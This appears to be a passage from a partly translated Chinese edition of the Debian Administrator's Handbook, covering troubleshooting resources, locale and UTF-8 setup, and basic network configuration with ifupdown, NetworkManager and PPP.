In most cases, free software programs have websites that are used to distribute it and to bring together the community of its developers and users. These sites are frequently loaded with relevant information in various forms: official documentation, FAQ (Frequently Asked Questions), mailing list archives, etc. Problems that you may encounter have often already been the subject of many questions; the FAQ or mailing list archives may have a solution for it. A good mastery of search engines will prove immensely valuable to find relevant pages quickly (by restricting the search to the Internet domain or sub-domain dedicated to the program). If the search returns too many pages or if the results do not match what you seek, you can add the keyword debian to limit results and target relevant information.

提示 从错误到解决方法

如果软件返回了一个特定的错误信息，你可以将这段信息以半角双引号"括起（这样能保证以完整的句子进行查找，而不是单个单词），输入到搜索引擎中进行查找。在大部分情况下，第一条链接就会包括你所需要的答案。

在其它情况下，会出现一种经常遇到的错误信息，例如 “Permission denied”。在这种情况下，你最好检查一下相关元素的权限情况如何（文件、用户ID，组别等）。

如果你不知道软件的网站地址，也仍有几种不同的方法去获知。首先，检查软件包的元信息是否含有 Homepage 的字段（命令为 aptshow 软件包名称 ）。另外，软件包的描述可能也包含了一个链接到程序官方网站的地址。如果此处没有网址，可以查看 /usr/share/doc/package/copyright。Debian 的维护者通常会指出到何处去获得程序的源代码，这通常都是你需要找的网站。如果到了这个阶段你仍然找不到所需的内容，可以查找自由软件目录网站，例如 FSF 自由软件目录，或者通过 Google、DuckDuckGo 或 Yahoo 等的搜索引擎来查找你所需的内容。

→ https://directory.fsf.org/wiki/Main_Page

You might also want to check the Debian wiki, a collaborative website where anybody, even new visitors, can make suggestions directly from their browsers. It is used equally by developers who design and specify their projects, and by users who share their knowledge by writing documents collaboratively.

→ https://wiki.debian.org/

7.1.5. 教程（HOWTO文档）

HOWTO 是一种文档类型，采用描述具体流程和步骤的方式，以“如何做”（how to）的方式来达到预定的目的。这里所指的目标范围相对广泛，单通常是指技术方面的目标：例如，设置一个伪造IP，配置软RAID，安装Samba服务等等。这类文档通常会尽力覆盖所有在实现给定技术情况下所遇到的各种潜在问题。

Many such tutorials are managed by the Linux Documentation Project (LDP), whose website hosts all of these documents:

→ https://www.tldp.org/

Debian 也为用户提供了一些教程：

→ https://www.debian.org/doc/

All these documents should be taken with a grain of salt. They are often several years old; the information they contain is sometimes obsolete. This phenomenon is even more frequent for their translations, since updates are neither systematic nor instant after the publication of a new version of the original documents. Further many tutorials nowadays are provided by bloggers, sharing their individual solution with the interested reader. They often lack important information, i.e. the reason why some configuration has been chosen over another, or why some option has been enabled or disabled. Because blogging and creating personal websites made it so easy to share, many of these often short tutorials exist, but only a few are actively maintained and well-kept. This can make it hard to find the "right" one for you. This is all part of the joys of working in a volunteer environment and without constraints…

7.2. 通常步骤

本节主要向您展示系统管理员经常遇到的通用操作的提示信息。这个过程未必包括所有可能遇到的情况，但可以作为处理更复杂问题的起点。

发现 其他语言的文档

通常情况下，非英语的文档都会放置在一些与软件包本身对应的独立软件包当中，这些独立的软件包会加上 -lang 之类的后缀（根据语言的不同，这里的 lang 会被替换为 ISO 标准的两字符语言编号）。

例如，debian-reference-fr 包是Debian参考指南（最初由 Osamu Aoki 用英语编写）的法语版本，manpages-de 包是关于使用 GNU/Linux 手册页面的德语版本。

7.2.1. 配置一个程序

When you want to configure an unknown package, you must proceed in stages. First, you should read what the package maintainer has documented. Reading /usr/share/doc/package/README.Debian will allow you to learn of specific provisions made to simplify the use of the software. It is sometimes essential in order to understand the differences from the original behavior of the program, as described in the general documentation, such as howtos. Sometimes this file also details the most common errors in order for you to avoid wasting time on common problems.

然后，你需要阅读软件的官方文档——对应于第 7.1 节 “文档资源”上一节有提到文档存在于不同的地方。采用命令dpkg -L 包名 会给出软件包当中的文件列表；通过这个列表，你能迅速的找到有用的文档（包括位于/etc/目录下的配置文件）。dpkg -s 包名 这个命令能显示包的元数据信息，并显示任何可能的推荐或建议软件包；通过这些命令，你就能找到那些让软件配置工作变得容易的文档或者工具。

最后，上述的配置文件通过注释的方式通常都拥有良好的自定义文档，这些注释对每个变量的取值和设置的方式都用详细的描述。对于想对某行配置开启某些特定功能来说，这种注释文档的方式足以应付。在一些情况下，配置文件的样例，都会在 /usr/share/doc/package/examples/ 目录。这些样例可以作为基本的配置文件使用。

DEBIAN 政策 样例文件的位置

所有的配置文件样例必须安装在/usr/share/doc/package/examples/ 目录。这些样例文件包括配置文件，程序的源代码（用于展示库的使用方法的代码），或者是给系统管理员在特定情况下（如初始化一个数据库）使用的数据转换脚本。如果这个样例只是针对某个特定的体系架构，则必须被安装在 /usr/lib/package/examples/ 这个路径，并且作一个链接到目录 /usr/share/doc/package/examples/ 去。

7.2.2. 监控守护进程在做什么

要理解守护进程(Daemon)做了什么通常都更加的复杂，因为系统管理员与进程间并不进行直接交互。要检查守护进程（daemon）的工作状态，需要进行测试。例如：如果要测试Apache（web服务）的daemon是否有效，需要通过生成http请求的方式进行测试。

基础知识 守护进程（Daemon）

一个守护进程是指不直接由用户调用而停留在后台的一类程序，在某些特定条件被满足的时候就会执行一些任务。很多的服务器程序都是守护进程，并且这类程序的命名通常都会以一个字母“d”来结尾（例如 sshd、smtpd、httpd，等等）。

为了有效记录测试的结果，守护进程通常将其所遇到的所有出错信息保存在一种被称为日志文件或者系统日志的文件中。日志文件通常保存在 /var/log/目录或者其子目录当中。要准确知道日志文件对应的daemon进程，可以查看其文档。需要注意的是，单次测试通常不足以覆盖所有可能的用例；某些问题只在特定的条件下才会产生。

工具 rsyslogd守护进程（daemon）

rsyslogd 很特殊：它收集由其他程序发送给它的日志信息（内部系统消息）。每个日志的入口，都与一个子系统（如电子邮件、内核、授权系统等等）以及一个优先级相联系；rsyslod通过这两部分的信息来决定下一步操作。日志消息可能被记录在多个不同的日志文件当中，和/或被发送到管理终端上。具体的定义都被记录在配置文件/etc/rsyslog.conf当中（文档在 rsyslog-doc 软件包中提供的相同名称的手册页）。

特定的C函数用以发送日志信息，这简化了 rsyslogd 守护程序的使用。然而，一些守护程序自己管理它们的日志文件（samba程序就是这样的例子，其作用是在 Linux 上实现Windows 共享）。

请注意在使用systemd时，日志实际上是由systemd进行搜集的，之后才会转发至rsyslogd。因此这些日志可经由systemd的日志系统，使用journalctl进行查阅（参见第 9.1.1 节 “Systemd 启动系统”以了解详细信息）。

As a preventive operation, the administrator should regularly read the most relevant server logs. They can thus diagnose problems before they are even reported by disgruntled users. Indeed users may sometimes wait for a problem to occur repeatedly over several days before reporting it. In many cases, there are specific tools to analyze the contents of the larger log files. In particular, such utilities exist for web servers (such as analog, awstats, awffull for Apache), FTP servers, proxy/cache servers, firewalls, e-mail servers, DNS servers, and even for print servers. Other tools, such as logcheck (a software discussed in 第 14 章 安全), scan these files in search of alerts to be dealt with.

7.2.3. 通过邮件列表寻求帮助

如果经过多番查找仍然没办法找出问题的根源，最可能得到帮助的方法，就是去咨询有经验的人。<debian-user@lists.debian.org>邮件列表及其特定语言版本 <debian-user-lang@lists.debian.org> 正是为此意图而设立的。如其他社区一样，邮件列表作为一种社区，同样有其需要遵守的规则。在提出任何问题之前，需要再三检查问题是否符合着些规则，你需要确认问题并未包含在近期的讨论话题以及任何的官方文档之中。

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

基础知识 实用网络礼仪

一般来说，对于所有邮件列表上的信件来往，都应当遵守网络礼仪（Netiquette）的相关规则。这个术语（Netiquette）指代一组常识性的规则，从常见礼貌行为到应当避免犯的错误都有所涉及。

→ https://tools.ietf.org/html/rfc1855

此外，Debian项目组提供了沟通的频道。在这里你可以联系上Debian的源代码组织负责人（the Debian Code of Conduct）:

→ https://www.debian.org/code_of_conduct

一旦你遇到的问题满足了以上两个条件，你就可以考虑将你所描述的问题提交到邮件列表。发布的内容尽可能包括如下一些信息：不同的测试条件，所查阅过的文档，诊断问题的方法，相关的依赖包以及其他一切可能包含的信息信息等。检查 Debian 的 Bug 跟踪系统（BTS，在侧栏中 第 1.3.2.1 节 “反馈缺陷” 描述）上有没类似的问题，向查找出来的 bugs 链接提交你研究的结果。BTS 的地址是

→ https://bugs.debian.org/

只有当问题描述更加精确且措辞得当，你才能有更大的机会得到答案，或至少能得到一些有用的回应。如果你收到一些与问题相关的私人电邮，不妨考虑将其公布到邮件列表当中，这可以使得其他人受益。同样如果邮件列表能被进行归档，或者能被不同的搜索引擎索引，也能使问题的解决方案更容易被查找到。

7.2.4. 报告棘手的问题所存在的Bug

如果所有的努力都不能解决你所遇到的问题，或许得不到解决方法并非你的责任，而更可能是因为程序本身存在缺陷。在这种情况之下，合理的流程就是将缺陷向 Debian 或者直接向上游的开发者进行报告。要做到这一点，你需要对有问题的程序进行有效的隔离，并且创造一个可以使问题重现的最小测试环境。如果你知道是什么原因导致的问题，则可以使用命令 dpkg -S file_in_question 来寻找问题文件对应的软件包。请查阅缺陷跟踪系统（https://bugs.debian.org/package）以确保该问题尚未被其他人报告。之后，你可以使用命令 reportbug 来发送你自己的缺陷报告，其中应当包括尽可能多的信息，特别是关于可用于重现问题的最小测试用例方面的完整描述，以便于其他人重现你所报告的缺陷。

本章旨在更有效地解决后面章节可能遇到的问题。有需要的话，就经常使用这些方法吧！

第 8 章 基础配置：网络，账户，打印……

以 debian-installer 命令安装的电脑是尽可能的可用，但仍有若干服务需要配置。而且，了解修改初始安装进程的配置是件好事。

这章综述我们称之为“基础配置”所包括的任何事项：网络、语言、地区、用户、用户组、打印、挂载点等。

8.1. 用其他语言进行配置

如果你在法语环境下安装了系统，那么默认语言可能会被设置为法语。所以你最好知道你的安装器使用的是什么语言。如果对语言有要求而又设置错误了，你可以自己进行修改。

工具 locale 命令显示当前配置

locale 命令会列出当前配置的语言环境参数（比如日期格式，数字格式），以一组标准环境变量表格的形式呈现当前的语言环境变量配置。

8.1.1. 设置默认语言

一个 locale 指一系列的区域设置。它不仅包括对文字语言的设置，也包括数字、日期、时间和货币的显示格式，以及“按字母顺序排列规则”（正确地处理重音字符）。虽然这些参数可以被独立配置，我们仍建议您使用 locale 这个从地区形式最大化匹配一连贯参数的工具。这些 locales 一般以以下格式 语言代码_城市代码，有时后缀也在指定字符集和编码中被使用。这是考虑到同一语言在不同区域之间使用习惯和印刷差异。

文化 字符集

历史上看，每一个 locale 都有一个相关联的字符集（一组已知的字符集）和一个特定的编码（为计算机内部的字符表达）。

最广泛使用的字符编码是基于拉丁字母、使用单个 byte 表达一个字符，被限制为最多256个字符。256个字符不足以覆盖所有欧洲语言，因此多编码系统非常有必要，这就是为何我们有 ISO-8859-1 （即“Latin 1”）到 ISO-8859-15 （即“Latin 9”）的原因。

包含外国语言的工作状态隐含着字符集和字符设置的切换。此外一个几乎无法解决的问题，如何编写一个多语言文档？ Unicode（一个几乎包括世界所有书写系统的超集）被创建用于解决该问题。其中一个 Unicode 编码， UTF-8 ，保留了全部128个 ASCII 符号（7位代码），还以不同的方式处理了其他字符。它们通过前面几个位的特定转义序列，隐式定义了字符的长度。它们允许在一个或者多个字节序列使用所有的 Unicode 字符。因为它是 XML 文件的默认编码而被广泛推广。

它是最广泛使用的编码，也是 Debian 发行版系统的默认选项。

The locales package includes all the elements required for proper functioning of “localization” of various applications. During installation, this package will ask you to select a set of supported languages. This set can be changed at any time by running dpkg-reconfigure locales as root.

第一个让您回答的问题是选哪些“ locales ”来支持。选择所有英语国家（所有以en_开始的环境）是一种可能。如果主机上有外国用户，打开对应的语言环境支持不要犹豫。所有在本系统被打开支持的语言环境存储在 /etc/locale.gen 。它可以被手动编辑，但需要在你做任何改动后运行 locale-gen 使改动生效。该命令将创建新添加的语言环境及其关联文件并移除过期的文件。

The second question, entitled “Default locale for the system environment”, requests a default locale. The recommended choice in the USA is “en_US.UTF-8”. British English speakers will prefer “en_GB.UTF-8”, and Canadians will prefer either “en_CA.UTF-8” or, for French, “fr_CA.UTF-8”. The /etc/default/locale file will then be modified to store this choice. From there, it is picked up by all user sessions since PAM will inject its content in the LANG environment variable.

locales-all 包含有所有支持locale的预编译local数据。

幕后/etc/environment 和 /etc/default/locale

/etc/environment 文件为 login 、 gdm、 ssh 程序提供正确的环境变量。

These applications do not create these variables directly, but rather via a PAM (pam_env.so) module. PAM (Pluggable Authentication Module) is a modular library centralizing the mechanisms for authentication, session initialization, and password management. See 第 11.7.3.2 节 “配置 PAM” for an example of PAM configuration.

/etc/default/locale 文件的工作方式非常简单，仅包含 LANG 环境变量。得益于这种分开的配置，一些 PAM 用户可以在没有本地化设置的情况下继承一个完整环境。事实上，并不鼓励启用本地化来运行服务器程序；另一方面，对于开放用户会话的程序，推荐打开本地化和地区设置。

8.1.2. 键盘配置

甚至如果键盘布局在终端和图形模式中被设置成不同， Debian 也提供了一个简单的配置让它们都工作：它基于 debconf 并由keyboard-configuration 包实现。使用 dpkg-reconfigure keyboard-configuration 命令来重新设置键盘布局。

有关物理键盘布局（一个标准 US 键盘是 “Generic 104 key” ）的解决方式，布局选择一般的 US， AltGr 键则定位到右 Alt。最后一个，允许使用组合按键输入特殊字符的快捷键 Compose 键，先后使用 Compose ' e产生一个 e-acute（“é”）。这些组合在 /usr/share/X11/locale/en_US.UTF-8/Compose 中被定义（或者其他文件，可由 /usr/share/X11/locale/compose.dir 说明）。

注意，该处说明的是默认键盘布局下图形模式的键盘设定； GNOME 和 KDE Plasma 等环境，为每一个用户提供一个键位控制面板去设置他们的喜好键位。面板中也能提供一些特殊键位的扩展选项。

8.1.3. 迁移到 UTF-8

尽管它去除字符上的任何限制使之在文档使用上没有任何问题，促进了国际化交换 ，但是总体上 UTF-8 编码作为一个期待已久的解决方案在互通上困难重重。其中一个弊端是它必须经历一个相当困难的过渡过程。它并不能做到完全透明（这是说，它无法做到整个世界同时切换），需要两个转换操作：一个是在文件内容，一个在文件名。幸运的是大部分工作已经完成了，在更很大程度上我们讨论它作为一种参考。

文化 乱码以及谬误

When a text is sent (or stored) without encoding information, it is not always possible for the recipient to know with certainty what convention to use for determining the meaning of a set of bytes. You can usually get an idea by getting statistics on the distribution of values present in the text, but that doesn't always give a definite answer. When the encoding system chosen for reading differs from that used in writing the file, the bytes are misinterpreted, and you get, at best, errors on some characters, or, at worst, something completely illegible.

因此，如果一个法文文本其他字符都显示正常，但是重音字母却被像 “Ã©” or Ã¨” or “Ã§” 这样的字符取代，那么很有可能这个文件使用的编码是 UTF-8 但系统解释的时候用的是 ISO-8859-1 或者 ISO-8859-15 编码。很有可能你的本地语言环境没有转换到 UTF-8；相反，如果你看到的是一连串的问号，即使这些问号看上去像是被重音字母取代，很有可能你的本地语言系统确实配置了UTF-8，但是您获取到的是一个西方 ISO 格式编码的文档。

一些“简单”的例子。这些例子限定在西方文化下，Unicode（以及 UTF-8）的设计最大兼容基于拉丁语系西方语言的历史编码，允许在部分字符缺失的情况下识别部分文本。

在较复杂的环境中，例如，使用字母表不同的两种语言，通常得到完全不同的结果 — 一系列彼此毫无关联的抽象符号。这种情况在拥有繁复语言和书写系统的亚洲语言中尤为常见。日语中的单词 mojibake（乱码）被用来描述这一现象。当这种现象出现时，诊断将非常困难。最简单的解决方案就是将两端都移植到UTF-8.

就文件名而言，转换工作还算简单。convmv工具就是为这一场景设计的，它可以转换文件名编码。此工具的使用相对简单，但是我们推荐分两个步骤来使用，以避免意外。下例演示了一个包含ISO-8859-15编码目录名的UTF-8环境，并使用convmv 重命名的过程。

$ ls travail/

Ic?nes  ?l?ments graphiques  Textes

$ convmv -r -f iso-8859-15 -t utf-8 travail/

Starting a dry run without changes...

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

No changes to your files done. Use --notest to finally rename the files.

$ convmv -r --notest -f iso-8859-15 -t utf-8 travail/

mv "travail/�l�ments graphiques"        "travail/Éléments graphiques"

mv "travail/Ic�nes"     "travail/Icônes"

Ready!

$ ls travail/

Éléments graphiques  Icônes  Textes

对文件内容来说，由于既存文件格式的多样性，转换过程会更加复杂。有些文件格式本身包含编码信息帮助软件使用它们。然后，打开这些文件并以UTF-8编码重新保存即可。其它的情况则必须指定原始的编码方式 (ISO-8859-1 或 “Western”、ISO-8859-15或 “Western (Euro)”，视其规则而定) 来打开它们。

For simple text files, you can use recode (in the package of the same name) which allows automatic recoding. This tool has numerous options so you can play with its behavior. We recommend you consult the documentation, the recode(1) man page, or the recode info page (more complete). Alternatively, iconv supports more character sets, but has less options.

8.2. 配置网络

基本知识必要的网络概念（以太网、IP地址、子网、广播）

大多数现代网络使用以太网协议，数据被分成称为帧的小块，并在网络上一帧一帧地传输。传输速度从较古老的网卡的10Mb /s到最新网卡的100Gb /s不等(目前最常见的速率是从100Mb /s到10Gb /s)。最常使用的线缆是10BASE-T、100BASE-T、1000BASE-T、10GBASE-T和40GBASE-T，这取决于它们能够可靠提供的吞吐量(T代表“双绞线”);这些线缆两端是RJ45连接器。还有其他类型的线缆，主要用于10Gb /s以上速度的场景。

IP地址是一串数字，用来识别本地网络或Internet上计算机的网络接口。在目前使用最广泛的IPV4版本中，这串数字由32位二进制数组成，通常表示为以点分隔的4个十进制数字表示（如 192.168.0.1），每个数字介于0-255之间（包含本身，对应8位的数据）。IP的下一代版本是IPV6，采用128位二进制数规定一个地址。其地址常用冒号分隔的16进制数字书写 (如 2001:0db8:13bb:0002:0000:0000:0000:0020，或以 2001:db8:13bb:2::20 简化表示)。

子网掩码（网络掩码）通过二进制码来定义IP地址中哪些部分对应网络，剩余部分则对应主机。在这里给出的配置静态IPv4地址的例子中，子网掩码是255.255.255.0(二进制表示是24个“1”后面跟着8个“0”)表示IP地址的前24位对应于网络地址，其他8位对应主机。在IPv6中，为了可读性，只表示数字“1”；因此，IPv6网络的掩码可以是64。

网络地址是主机号全为0的IP地址。一个完整网络的IP地址范围使用该语法表示：a.b.c.d/e；a.b.c.d是网络地址， e指定IP地址中网络位的长度。例如192.168.0.0/24可用于指定一个网络。IPV6的语法与之类似，示例可写作2001:db8:13bb:2::/64。

路由器用来连接多个网络，所有通过路由器的流量都被引导到正确的网络。要做到这一点，路由器需要分析进入路由器的数据包，并根据目标IP地址将其重定向。路由器通常被称作网关；在这种配置下，路由器用于帮助跳出本地网络（进入外部网络，例如Internet）。

广播地址是一类特殊的地址，与网络中的所有主机相连。广播地址几乎从来不被“路由”，只在本地网络内发送信息。也就是说，发往广播地址的数据包从不经过路由器。

本章只讨论IPV4地址，因为它是目前最常用的协议。有关IPV6协议在第 10.6 节 “IPV6”中讨论，其概念是相同的。

在初始安装时自动配置网络。如果安装了网络管理器（通常是安装完整桌面的情况），则可能实际不需要任何配置（例如，如果您依赖 DHCP 进行有线连接，并且没有特定要求）。如果需要配置（例如WiFi 接口），它将在 /etc/NetworkManager/system-connections/中创建相应的文件。

说明 NetworkManager

If Network Manager is particularly recommended in roaming setups (see 第 8.2.5 节 “漫游用户的网络自动配置”), it is also perfectly usable as the default network management tool. You can create “System connections” that are used as soon as the computer boots either manually with a .ini-like file in /etc/NetworkManager/system-connections/ or through a graphical tool (nm-connection-editor). If you were using ifupdown, just remember to deactivate the entries in /etc/network/interfaces that you want Network Manager to handle.

→ https://wiki.gnome.org/Projects/NetworkManager/SystemSettings

→ https://developer.gnome.org/NetworkManager/1.30/ref-settings.html

If Network Manager is not installed, then the installer will configure ifupdown by creating the /etc/network/interfaces file. A line starting with auto gives a list of interfaces to be automatically configured on boot by the networking service. When there are many interfaces, it is good practice to keep the configuration in different files inside /etc/network/interfaces.d/ as described in sidebar 基础知识 结尾是 .d 的文件夹名称.

In a server context, ifupdown is thus the network configuration tool that you usually get. That is why we will cover it in the next sections. For more information about the syntax of the configuration file please read interfaces(5).

8.2.1. 以太网接口

电脑使用以太网卡时，必须以下列方法之一配置 IP 网络。最简单的方式是以 DHCP 动态配置，需要在本地网络有 DHCP 服务器。可能需要设置 hostname 指定主机名称。DHCP 服务器就会送出适当的网络配置。

例 8.1. DHCP 配置

auto enp0s31f6

iface enp0s31f6 inet dhcp

hostname arrakis

实例 网络接口的名称

By default, the kernel attributes generic names such as eth0 (for wired Ethernet) or wlan0 (for WiFi) to the network interfaces. The number in those names is a simple incremental counter representing the order in which they have been detected. With modern hardware, that order (at least in theory) might change for each reboot and thus the default names are not reliable.

Fortunately, systemd and udev are able to rename the interfaces as soon as they appear. The default name policy is defined by /lib/systemd/network/99-default.link (see systemd.link(5) for an explanation of the NamePolicy entry in that file). In practice, the names are often based on the device's physical location (as guessed by where they are connected) and you will see names starting with en for wired ethernet and wl for WiFi. In the example above, the rest of the name indicates, in abbreviated form, a PCI (p) bus number (0), a slot number (s31), a function number (f6). Thus the name becomes predictable.

显然，您可以自已重写此规则和/或补充一些自定义的接口名称。可以在 ip addr 的输出 (或 /sys/class/net/中的文件名)中找到网络接口的名称。

In some corner cases it might be necessary to disable the predictable naming of network devices as described above. Besides changing the default udev rule it is also possible to boot the system using the net.ifnames=0 (restores the default kernel behavior) and biosdevname=0 kernel parameters to achieve that.

The predecessor of the predictable name scheme was called “persistent name scheme”. It was done using a udev rule to assign the device name based on the MAC address. This scheme has been abandoned and with the release of Debian 10 Buster users have been encouraged to migrate to predictable network device names.

→ https://www.debian.org/releases/buster/amd64/release-notes/ch-information.en.html#migrate-interface-names

“静态” 配置必须以固定方式指明网络设置。至少包括 IP 网址及子网掩码；有时也列出网络及广播地址。链接外部的路由器作为网关。

例 8.2. 静态配置

auto enp0s31f6

iface enp0s31f6 inet static

address 192.168.0.3/24

broadcast 192.168.0.255

network 192.168.0.0

gateway 192.168.0.1

说明 多地址

It is possible not only to associate several interfaces to a single, physical network card, but also several IP addresses to a single interface. To assign them, just create several iface entries for the same device. Remember also that an IP address may correspond to any number of names via DNS, and that a name may also correspond to any number of numerical IP addresses.

如您所想，配置可以极为复杂，不过只限于极为特殊的例子。此处引用的例子都是一般常见的配置。

8.2.2. 无线网络接口

使无线网卡工作会有一点复杂。首先，通常需要安装Debian默认未安装的合适的专有固件。然后无线网络依靠加密来限制授权用户的访问，这意味着需要在网络配置中存储一些密钥。我们一步一步讨论这些问题。

8.2.2.1. 安装需要的专有固件

首先，需要启用APT sources.list 文件中的 non-free 仓库。有关此文件的详细说明见： 第 6.1 节 “编写 sources.list 文件”。许多固件是专有的，存储在此 for det仓库中。可以尝试跳过此步，但如果在下一步中找不到需要的固件，请返回启用 non-free 仓库。

然后，需要安装适当的 firmware-* 包。如果您不清楚需要哪个包，可以安装 isenkram 包，然后运行 isenkram-autoinstall-firmware 命令。这些包通常以硬件制造商或相应内核模块命名：Intel无线网卡是 firmware-iwlwifi，Qualcomm Atheros 无线网卡是 firmware-atheros，Ralink无线网卡是 firmware-ralink，等等。建议重启计算机，因为内核驱动通常在第一次加载时查找固件文件，且之后不再执行。

8.2.2.2. 在 /etc/network/interfaces 中启用条目

ifupdown 能够管理无线网络接口，但仍需要 wpasupplicant 包帮助连接，该包提供 ifupdown 管理无线网络接口需要的 wpa_supplicant 命令（使用 WPA/WPA2 加密时）。通常需要在 /etc/network/interfaces 中的条目添加两个扩展参数来指定无线网络的名称（也称为 SSID）和 预共享密钥 (PSK)。

例 8.3. 无线网络接口的DHCP配置

auto wlp4s0

iface wlp4s0 inet dhcp

wpa-ssid Falcot

wpa-psk ccb290fd4fe6b22935cbae31449e050edd02ad44627b16ce0151668f5f53c01b

wpa-psk 参数包含纯文本密码短语或使用 wpa_passphrase SSID passphrase 生成的哈希版本。如果使用未加密的无线连接，则应输入 wpa-key-mgmt NONE 及不要使用 wpa-psk 条目。关于可用配置的详细信息，请参阅 /usr/share/doc/wpasupplicant/README.Debian.gz。

此时，应将 /etc/network/interfaces 的读取权限限制为root用户，因为其中包含不是所有用户可以访问的私钥。

历史 WEP加密

使用 wireless-tools 包可以使用已弃用的WEP加密协议。请参阅 /usr/share/doc/wireless-tools/README.Debian。

8.2.3. 经由 PSTN 调制解调器的 PPP 链接

点对点 (PPP) 链接创建断续的链接；这是电话调制解调器最常见的链接方式 (“PSTN 调制解调器”，经由公共交换电话网络)。

电话调制解调器需要帐号才能链接，包括电话号码、用户名、密码、以及认证协定。这种链接 Debian 使用同名软件包 里的 pppconfig 工具。缺省使用的名称是 provider (作为互联网服务提供者)。对认证协定有疑义时，选择 PAP：大多数互联网服务提供者使用它。

配置之后，就可以使用 pon 命令 (provider 的默认值不适用时，将链接的名称当成参数)。以 poff 命令断线。这两个令可以由root用户或者在 dip 群组的其他用户运行。

8.2.4. 以 ADSL 调制解调器链接

“ADSL 调制解调器” 一词包括不同功能的多种设备。Linux 使用的调制解调器有以太网接口 (不只是 USB 接口)。这是极为普遍的调制解调器；大部份的 ADSL 互联网服务商出借 (或出租) 一个含以太网接口的 “盒子”。视其类型而有不同的设置。

8.2.4.1. 支持 PPPOE 的调制解调器

部份以太网调制解调器使用 PPPOE 协议 (以太网上的对等协议)。pppoeconf 工具 (位于同名软件包内) 将配置其链接。为此，它修改 /etc/ppp/peers/dsl-provider 文件提供的并记录在 /etc/ppp/pap-secrets 与 /etc/ppp/chap-secrets 文件的内容。建议全盘接纳所有的建议。

配置完成之后，以命令 pon dsl-provider 开启 ADSL 链接，并以命令 poff dsl-provider 断线。

提示开机时启动 ppp

PPP 在 ADSL 上的链接，其定义是间歇性的。因为通常不是按照连接时间收费，因此保持始终连接没有坏处。这样做的标准方法是使用 init 系统。

使用 systemd 时，为ADSL连接添加自动重新启动任务的方法是创建 “单元文件”，如 /etc/systemd/system/adsl-connection.service，内容如下：

[Unit]

Description=ADSL connection

[Service]

Type=forking

ExecStart=/usr/sbin/pppd call dsl-provider

Restart=always

[Install]

WantedBy=multi-user.target

设置这个单元文件之后，还需以 systemctl enable adsl-connection 命令启动它。然后用命令 systemctl start adsl-connection 以手动方式启动；在开机时可自动启动。

在未使用 systemd 的系统中 (包括 Wheezy 及更早版本的 Debian)，可使用标准的 SystemV init。在这种系统里，只需在 /etc/inittab 文件加入一行；然后，在断线之后，运行 init 就可重新连接。

adsl:2345:respawn:/usr/sbin/pppd call dsl-provider

每天自动断线的 ADSL，使用这种方法可以减少中断的次数。

8.2.4.2. 支持 PPTP 的调制解调器

PPTP (点对点隧道协议) 协议由微软创制。部署在 ADSL 的初期，很快就被 PPPOE 取代。若被强制使用此协议，请参见 第 10.3.4 节 “PPTP”。

8.2.4.3. 支持 DHCP 的调制解调器

用以太网缆线 (交叉网线) 连接电脑的调制解调器，可以在电脑以 DHCP 配置网络链接；调制解调器自动成为网关且运行路由的功能 (就是管理电脑与互联网的流量)。

基础知识 直接链接以太网的交叉网线

电脑网卡经由特定缆线接收数据，也从同样的管道送出数据。电脑连上本地网络后，通常以缆线 (直连网线或交叉网线) 连接网络上的集线器或交换器。若想直接连接两部电脑 (不经过交换器或集线器)，必须经由网卡送出数据至接收端的另个网络卡，反之亦然。这就是交叉网线的作用，以及使用它的原因。

请注意，随着时间的推移，这种区别几乎变得无关紧要，因为现代网卡能够检测并相应地调整电缆的类型，因此这两种电缆在同一位置工作并不罕见。

大部份的 “ADSL 路由器” 也能这么做，互联网服务供应商提供的 ADSL 调制解调器也具有此功能。

8.2.5. 漫游用户的网络自动配置

Falcot 公司的工程师拥有专业用的笔记本电脑，同时也在家里使用它。根据使用场所的不同，网络有不同的配置方式。在家里，可能使用 WiFi 网络 (以 WPA 密钥保护)，在工作场合则使用较安全与带宽更充足的固接网络。

为了避免人工链接与断线对应的网络接口，管理员在漫游机器安装 network-manager 软件包。此软件可以让用户从图形桌面的小图标在多个网络间切换。按下此图标即显示可用的网络（有线与无线连接），以选择其中之一。此程序保存曾连接网络的配置，断线时自动选择最佳的网络。

为了达到这个目的，程序分为两个部份：后台守护进程配置网络接口，用户接口控制该后台进程。PolicyKit 处理必要的权限以控制此程序，然后由 Debian 配置 PolicyKit 让 netdev 群组成员可以添加或修改 Network Manager 的链接。

网络管理器知道如何处理各种类型的连接（DHCP、手动配置、本地网络），但只能处理程序本身的配置。这是会系统地忽略 /etc/network/interfaces 和 /etc/network/interfaces.d/ 中的所有网络接口的原因。由于网络管理器在未显示网络连接时不提供详细信息，因此简单方法是从 /etc/network/interfaces 和其他配置中删除必须由网络管理器管理的网络接口的配置。

注意，在初始安装阶段选择 “桌面环境”的工作，就能够缺省安装此程序。

8.3. 设置主机名称与配置名称服务

将 IP 数字转换为名称系方便记忆。实务上，IP 地址系用于辨识网络卡之类的网络接口设备。机器可能有多个网络卡，每个网络卡可能有多个接口，所以在网域名称系统里，一部电脑就可能有多个名称。

然而，每部机器都有辨识用的主要 (或 “规范”) 名称，保存在 /etc/hostname 文件内并以初始脚本经由 hostname 命令与 Linux 核心沟通。当前值保存在虚拟文件系统，可经由 cat /proc/sys/kernel/hostname 命令取得。

基础知识 /proc/ 与 /sys/，虚拟文件系统

/proc/ 与 /sys/ 文件树系由 “虚拟” 文件系统产生。从核心 (以列出虚拟文件方式) 取得信息并与其沟通 (写入虚拟文件) 。

/sys/ 是特别设计提供对内核对象的访问，特别是那些表示系统设备的对象。因此，内核可以共享各种信息：每个设备的状态（如是否处于节能模式）、是否可移动设备等。注意，/sys/在内核版本 v2.6 之后才存在。/proc/ 描述内核的当前状态：此目录中的文件包含有关系统上运行的进程及硬件的信息。

意外的是，网域名称的管理方式不同，来自机器的完整名称，经由名称解析取得。可以在 /etc/hosts 文件内更改它；在名称清单前写入完整的名称，如下例：

127.0.0.1     localhost

192.168.0.1   arrakis.falcot.com arrakis

8.3.1. 名称解析

Linux 的名称解析机制是模块化的且可使用 /etc/nsswitch.conf 宣称的数据源。涉及主机名称解析的条目是 hosts。默认情况下，它包括 files dns，表示系统先参照 /etc/hosts 文件，再参照 DNS 服务器。NIS/NIS+ 或 LDAP 服务器是另一个来源选择。

说明 NSS 与 DNS

专门用于查找 DNS 的命令(特别是 host)，未使用标准的名称解析机制 (NSS)。也就是说，完全未考虑 /etc/nsswitch.conf，也不使用 /etc/hosts。

8.3.1.1. 配置 DNS 服务器

